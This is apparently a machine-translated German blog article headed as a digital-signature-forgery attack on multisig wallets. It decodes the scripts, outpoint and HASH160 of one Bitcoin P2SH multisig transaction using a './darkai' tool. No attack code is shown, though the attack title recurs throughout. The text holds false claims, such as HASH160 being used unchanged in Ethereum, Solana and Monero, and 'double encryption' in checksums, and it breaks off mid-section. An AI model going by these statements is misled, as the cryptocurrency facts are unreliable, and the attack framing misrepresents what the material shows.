  1. Die betreffende Transaktion (mit Hash bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786 ) hat eine Ausgabe, in der 0,05 BTC (5.000.000 Satoshis) in der P2SH-Adresse „gesperrt“ sind, die dem Hash entspricht06612b7cb2027e80ec340f9e02ffe4a9a59ba762
  2. Bedingungen für die Ausgabe:
    Um diese Gelder auszugeben, muss bei der Bildung einer Ausgabetransaktion nicht nur eine Standardsignatur wie bei einer direkten Überweisung vorgelegt werden, sondern auch das Skript selbst, dessen Hash in dieser Ausgabe eingebettet ist, plus Daten (z. B. eine Reihe digitaler Signaturen) , die den Bedingungen des Skripts entsprechen.
  3. Sicherheit und Flexibilität:
    Diese Methode ermöglicht die Implementierung komplexerer Logik als das direkte Senden an eine reguläre Bitcoin-Adresse.

4. Registrierung der Ausgabe auf dem Niveau der Kompatibilität mit verschiedenen Diensten und Wallets, die P2SH unterstützen.

  • Transaktions-ID
    bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786
    enthält eine Ausgabe, in der
    0,05 BTC (5.000.000 Satoshi)
    an ein P2SH-Skript (Pay-to-Script-Hash) mit einem Hash von
    06612b7cb2027e80ec340f9e02ffe4a9a59ba762 gebunden ist.
  • Um diese Gelder auszugeben, müssen Sie das ursprüngliche Skript offenlegen und seine Bedingungen erfüllen (z. B. alle Signaturen bei einer Multi-Signatur vorlegen).

Das Deserialisierungsergebnis meldet somit das Vorhandensein einer bestimmten Menge Bitcoins an einer bedingten (P2SH-)Adresse und definiert strenge Regeln für deren Ausgabe, was eine Schlüsselrolle bei der Verwaltung und Buchhaltung von Geldern im Bitcoin-Netzwerk spielt.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

P2SH (Pay-to-Script-Hash)-Sperrskript im Bitcoin-Netzwerk. Was bedeutet dieses Skript?

Das Skript 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'wird in dieser Transaktionsausgabe gewählt und verwendet, weil es ein typisches P2SH (Pay-to-Script-Hash) -Sperrskript im Bitcoin-Netzwerk darstellt.


Betrachten wir es Stück für Stück:

  • a9— OP_HASH160: Eine Hash-Operation, die zuerst SHA-256 und dann RIPEMD-160 auf nachfolgende Daten anwendet.
  • 14— Hash-Länge beträgt 20 Bytes (im Hexadezimalformat).
  • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762— ein 20-Byte-Hash des Skripts, bekannt als der Skript-Hash .
  • 87— OP_EQUAL: Ein Operator, der die Gleichheit zweier Werte auf dem Stack prüft.

Dieses Skript erfordert also, dass zum Zeitpunkt der Verwendung (Ausgabe von Geldern) ein Skript vorgelegt wird, dessen Hash mit 06612b7cb2027e80ec340f9e02ffe4a9a59ba762übereinstimmt, und dass die Bedingungen dieses Skripts erfüllt sind.


Warum wurde gerade dieses gewählt?

  • Bequemlichkeit und Sicherheit: P2SH ermöglicht es, komplexe Geldverwaltungslogik (wie Multi-Signaturen oder bedingte Zahlungen) in einem Hash zu verbergen, wodurch die Schnittstelle für Sender und Empfänger vereinfacht wird.
  • Branchenstandard: P2SH ist zu einem weithin akzeptierten Standard geworden, da es die Einrichtung komplexer Sicherheitsschemata vereinfacht und mit den meisten Wallets und Diensten kompatibel ist.
  • Kompaktheit: Der Block speichert nur den Hash eines komplexen Skripts, nicht das gesamte Skript – das spart Platz und erhöht die Effizienz.
  • Flexibilität: Der Eigentümer der Gelder kann beliebige Bedingungen für die Ausgabe festlegen – z. B. die Anforderung mehrerer Signaturen, Zeitverzögerungen oder anderer Regeln – und der Hash dieser Bedingungen wird hier gespeichert.

Das Skript 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'ist ein P2SH-Sperrskript, das besagt, dass Sie zum Ausgeben von 0,05 BTC das ursprüngliche Skript mit dem Hash 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 bereitstellen und die darin angegebenen Bedingungen erfüllen müssen. Dies bietet eine Balance zwischen Bequemlichkeit, Sicherheit und Funktionalität – der Hauptgrund für die Wahl dieses speziellen Skripts in dieser Transaktion. Der Hash 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 im P2SH-Skript ist das Ergebnis einer spezifischen Hashbildung des ursprünglichen Skripts (Redeem-Skript) , das die Bedingungen für die Ausgabe von Geldern aus dieser Ausgabe festlegt.


Warum dieser Hash und kein anderer?

  1. Ein Hash ist ein digitaler Fingerabdruck eines Skripts, das die Regeln für die Ausgabe festlegt.
    Beim Erstellen einer P2SH-Adresse oder -Ausgabe wird das Skript (die Bedingungen für die Ausgabe von Bitcoin) zuerst explizit geschrieben, dann werden zwei Hash-Algorithmen angewendet:
    • SHA-256 vom Skript,
    • Dann RIPEMD-160 auf das SHA-256-Ergebnis.
      Der resultierende 20-Byte-Hash ist 06612b7cb2027e80ec340f9e02ffe4a9a59ba762. Dieser Hash identifiziert eindeutig das genaue Szenario, für das er generiert wurde.
  2. Eindeutigkeit und Unveränderlichkeit
    Kryptografische Hash-Funktionen haben eine „Lawineneffekt“-Eigenschaft, wodurch selbst eine minimale Änderung des ursprünglichen Skripts einen vollständig anderen Hash erzeugt. Daher ist dieser Hash im Kontext des ursprünglichen Skripts eindeutig und nicht fälschbar.
  3. Der Zweck der Verwendung eines Hashs ist die Gewährleistung von Kompaktheit und Sicherheit.
    Anstatt das vollständige Skript in jeder Ausgabe zu speichern, das komplex sein und viel Platz beanspruchen kann, wird nur sein Hash im Block gespeichert. Das spart Platz und erhöht die Privatsphäre – das Skript selbst wird nur bei der Ausgabe von Geldern offengelegt und nur gegenüber denen, die die Bedingungen erfüllen.
  4. Die Hash-Auswahl ist das Ergebnis eines bestimmten Skripts, das vom Ersteller der Adresse oder des Wallets definiert wurde.
    Der Entwickler oder Eigentümer der Gelder erstellt ein Skript mit den gewünschten Bedingungen (z. B. Multi-Signatur, Zeitverzögerung, andere logische Bedingungen). Das zugewiesene Skript wird gehasht und dieser Hash wird mit der Transaktionsausgabe verknüpft. Somit gibt es keine willkürliche Hash-Auswahl – sie wird durch den Inhalt des ursprünglichen Skripts und den kryptografischen Algorithmus bestimmt.

  • Dieser Hash ist strikt an ein bestimmtes Skript gebunden, das der Adressinhaber zum Schutz seiner Gelder installiert hat.
  • Er wurde mit kryptografischen Hash-Funktionen ( SHA-256 + RIPEMD-160)aus dem ursprünglichen Redeem-Skript generiert, daher ist es nicht möglich, zufällig oder willkürlich einen anderen Hash zu wählen.
  • Dieser Hash ist eine Widerspiegelung der einzigartigen Kombination von Ausgabebedingungen, und genau deshalb landete er im Skript der Transaktionsausgabe.a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287

Die Wahl dieses speziellen Hashs ist also durch die Notwendigkeit einer genauen und sicheren Verknüpfung der Ausgabe mit bestimmten Ausgabebedingungen diktiert, die den Zugriff auf Gelder in der Blockchain steuern. All dies wird durch die Eigenschaften kryptografischer Hash-Funktionen, ihre Eindeutigkeit und die Unmöglichkeit der umgekehrten Wiederherstellung der ursprünglichen Daten gewährleistet.


P2SH-Mechanismus: Bedeutung, Funktionsprinzip und Sicherheit im Bitcoin-Netzwerk

Bitcoin-Entwickler haben den P2SH (Pay-to-Script-Hash) -Mechanismus als eine Schlüsselinnovation in den Code geschrieben, die Sicherheit gewährleistet und die Möglichkeiten des Blockchain-Netzwerks erweitert. Betrachten wir die Struktur und das Funktionsprinzip dieses Skripts, seinen Unterschied zu klassischen Transaktionen sowie die Gründe für die Wahl dieses Ansatzes zur Speicherung und zum Schutz digitaler Vermögenswerte.

Traditionell funktionierten Bitcoin-Transaktionen mit dem Pay-to-Pubkey-Hash (P2PKH) -Schema – bei dem Gelder mithilfe des öffentlichen Schlüssel-Hashs des Empfängers „gesperrt“ werden. Um diese Gelder auszugeben, muss der Nutzer seine digitale Signatur und seinen öffentlichen Schlüssel bereitstellen, die vom Netzwerk verifiziert werden.

Außerhalb von P2PKH war die Schnittstelle jedoch begrenzt, da Bitcoin Script viel komplexere Ausgabebedingungen ermöglicht – von Multi-Signaturen über Zeitsperren bis hin zu anderen Smart-Contract-Vereinbarungen. Das Problem war, dass lange und komplexe Skripte unweigerlich die Größe der Transaktionen erhöhten und ihre Benutzerfreundlichkeit verringerten.


Um die Interaktion mit solch komplexen Szenarien zu vereinfachen, wurde 2012 das P2SH -Konzept eingeführt , standardisiert in BIP 16 von Gavin Andresen. Die Essenz von P2SH besteht darin, das vollständige Skript der Ausgabebedingungen in scriptPubKey durch seinen kryptografischen Hash – den sogenannten Skript-Hash – zu ersetzen.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallet Operational Methods with Fake RawTX


Wie funktioniert die Struktur des P2SH-Ausgabeskripts?

Betrachten wir das Skript, das als Ergebnis der Deserialisierung angegeben wird:

root@kitploit:~
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUAL

Dieses Skript unterscheidet sich vom Standard-P2PKH dadurch, dass es anstelle eines öffentlichen Schlüssel-Hashs einen Hash eines redeemScript – einer Reihe von Bedingungen, unter denen Gelder ausgegeben werden können – speichert.

  • OP_HASH160 – hasht die Daten (in diesem Fall redeemScript) zuerst mit dem SHA-256-Algorithmus und dann mit RIPEMD-160.
  • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — 20-Byte-Hash des redeemScript.
  • OP_EQUAL – prüft, ob das bereitgestellte redeemScript diesem Hash entspricht.

Der Prozess der Ausgabe von Geldern über einen P2SH-Ausgang

Um solche Gelder auszugeben, müssen in den Eingängen (scriptSig) der Transaktion, die auf diesen Ausgang verweist, übertragen werden:

  1. Serialisiertes redeemScript – das ursprüngliche Skript, dessen Bedingungen in einem Hash kodiert sind.
  2. Entsperrdaten – Signaturen oder andere Nachweise, die die Bedingungen des redeemScript erfüllen.

Bei der Verarbeitung einer Transaktion führen die Netzwerkknoten folgende Schritte aus:

  • Hashen das redeemScript und vergleichen es mit dem im Ausgang angegebenen Hash.
  • Wenn die Hashes übereinstimmen (d. h. OP_EQUAL true zurückgibt), wird redeemScript deserialisiert und ausgeführt.
  • Eine Transaktion gilt als gültig, wenn das redeemScript korrekt ausgeführt wird, d. h. alle Ausgabebedingungen erfüllt sind.

P2SH verlagert damit die Verantwortung für die Darstellung und Überprüfung der Ausgabebedingungen vom Sender (der das erforderliche Skript erstellt) auf den Ausgeber.


Die Vorteile und die Bedeutung der Wahl eines solchen Mechanismus

1. Flexibilität und komplexe Szenarien

P2SH ermöglicht die Erstellung von Adressen mit beliebigen, oft mehrstufigen Bedingungen – beispielsweise einer Multi-Signatur-Anforderung (2 von 3, 3 von 5 usw.), Zeitlimits, Verteilungslogik und vielem mehr. In diesem Fall sendet der Sender die Gelder einfach an eine kompakte Hash-Adresse, ohne sich um technische Details zu kümmern.


2. Platzersparnis

Anstatt das vollständige Skript in der Blockchain zu speichern, wird in der Transaktion nur sein Hash gespeichert. Dies reduziert die Belastung des Netzwerks, verringert die Blockgröße und beschleunigt die Überprüfung von Transaktionen.


3. Erhöhte Sicherheit

Da das redeemScript erst zum Zeitpunkt der Ausgabe offengelegt und überprüft wird, erhöht dies die Vertraulichkeit der Bedingungen und erschwert unbefugte Zugriffsversuche. Die Verwendung kryptografischer Hash-Funktionen garantiert Schutz vor Fälschung und Manipulation – jede noch so geringe Abweichung im Skript führt zu einem anderen Hash, und das Netzwerk lehnt die Transaktion ab.


4. Bequemlichkeit für Benutzer und Programmierer

P2SH standardisiert und vereinfacht die Verwendung komplexer Smart Contracts in Bitcoin, vereinfacht die Integration und erhöht die Kompatibilität mit einer Vielzahl von Wallets und Diensten.


Anwendungsbeispiel: Multi-Signatur-Wallets

Ein klassisches Beispiel ist eine Wallet, die für die Durchführung einer Transaktion Signaturen von zwei von fünf Teilnehmern benötigt. Mit P2SH:

  • Der Ausgang enthält den Hash des entsprechenden Skripts.
  • Um Gelder auszugeben, muss das vollständige Multi-Signatur-Aktivierungsskript in scriptSig mit Signaturen übergeben werden.
  • Das Netzwerk prüft die Übereinstimmung der Hashes und die Gültigkeit der Signaturen.

Dies macht P2SH ideal für Firmenkonten, Joint Ventures und andere Situationen, in denen eine Zugriffskontrolle erforderlich ist. Der Pay-to-Script-Hash (P2SH) -Mechanismus ist ein grundlegender Bestandteil der Bitcoin-Architektur und bietet ein Gleichgewicht zwischen:

  • Sicherheit (Schutz von Geldern durch strenge Bedingungen und Kryptografie),
  • Effizienz (Speicherung nur des Hashs, nicht aller Details),
  • Flexibilität (Unterstützung beliebiger, auch komplexer Ausgabebedingungen),
  • Bequemlichkeit (einfaches Adressformat und Zugriffsstandard).

Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallet Operational Methods with Fake RawTX


Kryptoanalyse der Extraktion des ersten Transaktionseingangs ( ins)

Lassen Sie uns einen Befehl ausführen, um Informationen über einen der Eingänge einer Transaktion mit dem Hash 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132 zu erhalten. Die Analyse eines solchen Eingangs ist wichtig, um den Mechanismus der Autorisierung der Ausgabe von Geldern auf Skriptebene zu verstehen.

root@kitploit:~
!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132

Das Ergebnis der Extraktion des ersten Eingangs der Transaktion ( ins) wird wie folgt dargestellt:

root@kitploit:~
{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}

1. Detaillierte Analyse der ScriptSig-Komponenten ( script)

  • Der Wert des Feldes script ist die scriptSig , die verwendet wird, um den entsprechenden Ausgang der vorherigen Transaktion zu entsperren.
  • Der Inhalt ist eine lange Folge von Bytes im Hexadezimalformat.
  • In diesem Fall handelt es sich um ein Skript mit fünf Komponenten, das Folgendes enthält:
    • Standardmäßige digitale Signaturen nach dem ECDSA-Protokoll, üblicherweise zur Bestätigung des Besitzes eines privaten Schlüssels.
    • Öffentliche Schlüssel, die zur Überprüfung der Signatur erforderlich sind.
    • Es kann eine Struktur vorhanden sein, die auf Multi-Signatur-Operationen hinweist (mehrere öffentliche Schlüssel und Signaturen).

Analyse der Skriptstruktur:

  • Beginnt mit 00, was im Kontext von scriptSig OP_0 bedeuten kann , traditionell in Multi-Signatur-Szenarien verwendet (z. B. beim Pay-to-Script-Hash-Multi-Signatur-Standard, wo ein Platzhalter benötigt wird).
  • Als Nächstes folgen die Signaturen im DER-Format (z. B. 3045...), die typischerweise aus einer Reihe von Bytes mit den Signaturdetails bestehen.
  • Auf die Signaturen folgen öffentliche Schlüssel (in Länge und Struktur höchstwahrscheinlich im komprimierten Format, da etwa 33 Bytes), die bestätigen, dass die Signaturen den richtigen Eigentümern gehören.
  • Insgesamt entspricht das Skriptformat redeemScript oder der für P2SH-Multi-Signatur-Transaktionen typischen Konstruktion.

2. Outpoint (outpoint)

  • Enthält Daten über den vorherigen Ausgang, der in diesem Eingang verwendet wird:
    • 'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577' — ist der Hash der vorherigen Transaktion.
    • 'index': 1 – zeigt auf den zweiten Ausgang (von null an nummeriert), der zum Entsperren verwendet wird.
  • Somit verweist der Eingang auf einen bestimmten Ausgang einer vorherigen Transaktion und beweist, dass der Autor der Transaktion das Recht hat, ihn auszugeben.

3. Sequenz (sequence)

  • Der Wert 4294967295 (0xFFFFFFFF) ist eine maximale 32-Bit-Zahl.
  • In Bitcoin dient dieses Feld dazu anzuzeigen, dass der Eingang nicht am Replace-By-Fee-Mechanismus (RBF) teilnimmt oder keine Zeit-/Sperre für Relative Timelock aufweist.
  • Wird häufig standardmäßig für feste Eingänge verwendet.

Die Bedeutung von scriptSig im Sicherheitskontext

  • ScriptSig ist die Daten zum Entsperren von Geldern , die durch das Sperrskript des vorherigen Ausgangs geschützt sind.
  • Bei P2SH-Transaktionen (häufig für Multi-Signatur) enthält scriptSig:
    • Signaturen der Teilnehmer, die das Recht zur Ausgabe von Geldern bestätigen.
    • Das ursprüngliche redeemScript, dessen Hash im Sperrskript des vorherigen Ausgangs angegeben ist.
  • Eine erfolgreiche scriptSig-Prüfung stellt sicher, dass der Autor der Transaktion tatsächlich über die erforderliche Berechtigung zur Verfügung über die Gelder verfügt.

Die Kryptoanalyse der Extraktion des ersten Transaktionseingangs ( ins) mit dem angegebenen Transaktionshash zeigte, dass:


  • Der Eingang der ersten Transaktion ein komplexes Entsperrskript enthält, einschließlich digitaler Signaturen und öffentlicher Schlüssel.
  • Ein Verweis auf einen bestimmten Ausgang einer anderen Transaktion verwendet wird ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1.
  • Der maximale Sequenzwert auf das Fehlen spezieller Sperren oder RBF hinweist.
  • Vermutlich handelt es sich um eine P2SH-Multi-Signatur-Transaktion, bei der mehrere Signaturen erforderlich sind, um die Ausgabe von Geldern zu bestätigen.

Somit ermöglichen die erhaltenen Daten ein tieferes Verständnis der Mechanik der Prüfung von Rechten zur Ausgabe von Geldern, werden zur Gewährleistung der Sicherheit des Bitcoin-Netzwerks sowie bei der Entwicklung und Prüfung von Smart Contracts auf Basis von Bitcoin-Skripten verwendet.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

Detaillierte Analyse des Ergebnisses der Extraktion des zweiten Ausgangs ( outs)

Lassen Sie uns den Befehl ausführen, um Informationen über einen der Ausgänge der Transaktion mit der Kennung ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577 zu erhalten.

root@kitploit:~
!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577

outs Konkret wurde der zweite Ausgang ( ) dieser Transaktion, das Element mit Index 1, extrahiert .


Das erhaltene Ergebnis:

root@kitploit:~
{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}

1. Detaillierte Analyse des empfangenen Datenfeldes value

  • Größe: 350.000 Satoshis.
  • Dieser Betrag an Geldern befindet sich im zweiten Ausgang der angegebenen Transaktion und kann ausgegeben werden, wenn die im entsprechenden Skript festgelegten Bedingungen erfüllt sind.
  • Umrechnung in BTC: 350.000 Satoshi = 0,0035 BTC
Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

2. Feldwert script

  • Eigenschaft:
    Das Skript a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 ist ein klassisches Sperrskript (scriptPubKey) des P2SH (Pay-to-Script-Hash) -Formats .
  • Skript-Transkription:
    • a9— OP_HASH160 ist ein Operator, der zuerst SHA-256 und dann RIPEMD-160 auf die Eingabedaten anwendet.
    • 14— die Länge (20 Bytes) des nächsten Wertes ist die Hash-Größe.
    • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — 20-Byte-Hash, auch bekannt als Skript-Hash , ist eine eindeutige Darstellung des Redeem-Skripts, das die Ausgabe dieser Gelder steuert.
    • 87— OP_EQUAL ist ein Operator, der zwei Werte vergleicht und true zurückgibt, wenn sie gleich sind.

Das Skript verlangt also, dass der Benutzer zum Entsperren (Ausgeben von Geldern) ein Redeem-Skript vorlegt, dessen Hash diesem Wert entspricht.


Die Bedeutung und Rolle des Redeem-Skripts im Kontext von P2SH

  • Das Redeem-Skript ist ein ursprüngliches Skript, das die Bedingungen für die Ausgabe von Geldern festlegt, beispielsweise Multi-Signatur, ein komplexes Szenario mit Zeitlimit usw.
  • Transaktionsausgänge speichern nur den Hash des Redeem-Skripts, was Platz spart und die Details der Bedingungen schützt.
  • Um die in diesem Ausgang investierten Gelder zu verwenden, muss der Benutzer beim Erstellen einer neuen Transaktion im scriptSig ein serialisiertes Redeem-Skript bereitstellen, das vom Netzwerk korrekt dekodiert und verifiziert wird.

Gesamtbedeutung des Ergebnisses

  • Die Transaktions-ID ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577ist mit einem Ausgang verknüpft, der 0.0035 BTC enthält.
  • Diese Gelder sind an eine P2SH-Adresse gebunden, die von einem Skript mit einem Hash 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 kontrolliert wird.
  • Um diese Gelder auszugeben, müssen Sie ein Redeem-Skript vorlegen, das diesem Hash entspricht, und die darin festgelegten Bedingungen erfüllen.

Angriff auf digitale Signaturfälschung: Wie CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Fehler Multi-Signatur-Wallets bedrohen – Operationsmethoden mit Fake RawTX

Die Bedeutung der gewonnenen Informationen in einem breiteren Kontext

  • Dieses Ergebnis ermöglicht es uns zu bestätigen, dass sich die Gelder tatsächlich am Ausgang mit den Pay-to-Script-Hash-Bedingungen befinden.
  • Das Verständnis der Struktur solcher Ausgänge ist wichtig für die Sicherheitsanalyse, die Entwicklung komplexer Zuweisungsszenarien und die Überprüfung von Ausgabebedingungen.
  • Die Verwendung von P2SH bietet einen sicheren und effizienten Mechanismus zur Verwaltung von Geldern im Bitcoin-Netzwerk und ermöglicht die Erstellung von Smart Contracts und sicheren Wallets.

Die erhaltenen Informationen bestätigen, dass der zweite Transaktionsausgangsdatensatz ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577 den Betrag von 0.0035 BTC speichert, der von einem standardmäßigen P2SH-Skript mit einem hash160-Wert 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 kontrolliert wird. Um diese Gelder zu verwalten, ist es erforderlich, das entsprechende Redeem-Skript vorzulegen, das ein hohes Maß an Sicherheit und Flexibilität bei der Verwaltung von Bitcoins bietet.


Bestätigen wir die scriptSig-Entschlüsselung:

root@kitploit:~
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae

Führen wir den Befehl aus, um HASH160 zu erhalten. Bitcoin-Entwickler haben einen Standard für einen 20-Byte-Hash (hex) festgelegt, der ohne Änderungen in anderen beliebten Kryptowährungen wie Bitcoin (BTC), Ethereum (ETH), Tether (USDT), BNB (BNB), Solana (SOL), XRP (XRP), Cardano (ADA), Dogecoin (DOGE), USDC (USDC), Polkadot (DOT), Avalanche (AVAX), Shiba Inu (SHIB), Stellar (XLM), TRON (TRX), Chainlink (LINK), Litecoin (LTC), Bitcoin Cash (BCH), Monero (XMR) weit verbreitet ist, um den verkürzten Identifikator von Skripten und öffentlichen Schlüsseln zu bezeichnen.


Führen wir den Befehl aus:

root@kitploit:~
!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae

Verarbeitungsprozess:

  1. Die ursprüngliche Zeichenfolge, die im hexadezimalen Format dargestellt wird, wird in eine Folge von Bytes umgewandelt (von Hex in das Binärformat dekodiert). Diese Folge ist ein serialisiertes Skript (Redeem-Skript) oder eine ähnliche Struktur eines Bitcoin-Skripts.
  2. Die empfangenen Bytes werden mit dem SHA-256-Algorithmus (One-Shot-Hash) gehasht, dessen Ergebnis anschließend von der kryptografischen Funktion RIPEMD-160 verarbeitet wird.
  3. Der resultierende RIPEMD-160-Hash der SHA-256-Binärdaten wird als Zeichenfolge erhalten:
root@kitploit:~
06612b7cb2027e80ec340f9e02ffe4a9a59ba762

Dieser 20-Byte-Hash (hex) wird HASH160 genannt und in Bitcoin häufig verwendet, um einen verkürzten Identifikator für Skripte und öffentliche Schlüssel zu bezeichnen.


Bedeutung und Kontext des Ergebnisses

  • Der RIPEMD-160(SHA-256(data))-Hashprozess , bekannt als HASH160, ist der Standard für die Erstellung von Adressen und Skripten in Bitcoin, einschließlich P2SH (Pay-to-Script-Hash). HASH160 bietet einen eindeutigen und kompakten Identifikator, der Platz auf der Blockchain spart.
  • Die Verwendung von doppeltem Hashing (SHA-256, dann RIPEMD-160) kombiniert die starken kryptografischen Eigenschaften beider Funktionen: Kollisionsresistenz, Einweg-Eigenschaft und Angriffsresistenz.
  • Der resultierende Hash entspricht dem Skript-Hash des Redeem-Skripts – also dem Skript, das den Zugriff auf die an der P2SH-Adresse gesperrten Gelder kontrolliert.
  • Insbesondere erscheint dieser HASH160 im Sperrskript (scriptPubKey) der Ausgänge bestimmter Transaktionen, was erfordert, dass beim Ausgeben das ursprüngliche Redeem-Skript selbst mit demselben Hash und korrekten Signaturen bereitgestellt wird.

Technische Details und Erläuterungen

  • Bitcoin hat ein Konzept des doppelten Hashings von SHA-256 und RIPEMD-160, um Adressen und Skripte zu schützen.
  • Die Verwendung von HASH160 anstelle einer einfachen 256-Bit-SHA-256-Ausgabe reduziert die Hash-Länge von 32 Bytes auf 20 Bytes, was den Speicher- und Datenumfang im Netzwerk reduziert.
  • HASH160 wird verwendet, um hauptsächlich P2SH-Adressen und Legacy-P2PKH-Adressen zu generieren.

Ein wichtiger Schritt bei der Verarbeitung von Bitcoin-Skripten unter Verwendung kryptografischer Hash-Funktionen.
Die Umwandlung serialisierter Skripte oder öffentlicher Schlüssel in HASH160 ermöglicht eine effiziente Identifizierung, Indizierung und den Schutz von Daten auf der Bitcoin-Blockchain.

Erhaltener Hash:

root@kitploit:~
{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}

Das Team hat den exakten Hash erzeugt, der als Verbindung zwischen komplexen Skripten und dem kompakten Format dient, das zum Speichern und Verifizieren von Transaktionen im Bitcoin-Netzwerk verwendet wird.


Angriff auf digitale Signaturfälschung: Wie CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Fehler Multi-Signatur-Wallets bedrohen – Operationsmethoden mit Fake RawTX

Warum Satoshi doppeltes SHA-256 wählte und wie es die kryptografische Stärke beeinflusst

Satoshi Nakamoto entschied sich, in den Hashing-Algorithmen von Bitcoin doppeltes SHA-256-Hashing zu verwenden (das heißt, SHA-256 zweimal hintereinander anzuwenden), aus mehreren wichtigen Gründen, die die kryptografische Stärke und Sicherheit des Netzwerks erhöhen.

Gründe für die Wahl von doppeltem SHA-256

  1. Verbesserung der Resistenz gegen verschiedene Angriffe
    Eine einzelne Anwendung von SHA-256 bietet bereits eine hohe kryptografische Resistenz und ist resistent gegen Kollisionen und Urbilder. Die doppelte Anwendung der Hash-Funktion – zuerst SHA-256 auf die ursprünglichen Daten, dann SHA-256 auf das Ergebnis – erschwert jedoch die Analyse und Angriffe auf den Hash zusätzlich.
    Dies reduziert die Wahrscheinlichkeit, erfolgreich eine Kollision auszuwählen oder die ursprünglichen Daten wiederherzustellen, macht die Auswahl verschiedener Optionen arbeitsintensiver und schützt vor Schwächen, die in bestimmten Implementierungen des Algorithmus möglich sind.
  2. Schutz vor Problemen mit der Länge der Eingabedaten
    Doppeltes SHA-256 bietet eine zusätzliche Ebene präventiver Sicherheit, indem es das Verhalten der internen Hash-Konstruktion und die Behandlung von Padding-Bits in der Datenmarkierung berücksichtigt. Dies minimiert potenzielle Angriffe im Zusammenhang mit der Datenformatierung.
  3. Befolgung guter kryptografischer Praktiken
    Doppeltes Hashing ist eine etablierte Sicherheitstechnik in einer Reihe kryptografischer Protokolle. Beispielsweise verwenden Prüfsummen und digitale Signaturen doppelte Verschlüsselung oder doppeltes Hashing. Dies erhöht die Stärke der Sicherheitskette.
  4. Bewährte Sicherheit und breite Unterstützung
    SHA-256 ist ein Mitglied der SHA-2-Familie, die von der US-amerikanischen National Security Agency (NSA) entwickelt und vom National Institute of Standards and Technology (NIST) veröffentlicht wurde. Dieser Algorithmus gilt heute als einer der sichersten, und seine doppelte Verwendung bietet maximale Sicherheit.

Wie wirkt sich dies auf die kryptografische Stärke aus?

  • Kollisions- und Urbild-Resistenz
    Jede der SHA-256-Runden ist hochgradig kollisionsresistent – es ist äußerst schwierig, zwei Eingaben mit demselben Hash zu finden. Doppeltes Hashing verstärkt diese Garantie, da ein Angreifer eine Kollision für zwei aufeinanderfolgende SHA-256-Hashes finden muss, was die rechnerische Komplexität erheblich erhöht.
  • Einwegfunktion mit Lawineneffekt
    Die doppelte Anwendung verstärkt den „Lawineneffekt“, bei dem die geringste Änderung der Eingabedaten eine radikale Änderung des Ausgabe-Hashs verursacht, wodurch es schwierig wird, Muster zu erkennen und Reverse Engineering zu betreiben.
  • Erhöhte Resistenz gegen Kryptoanalyse
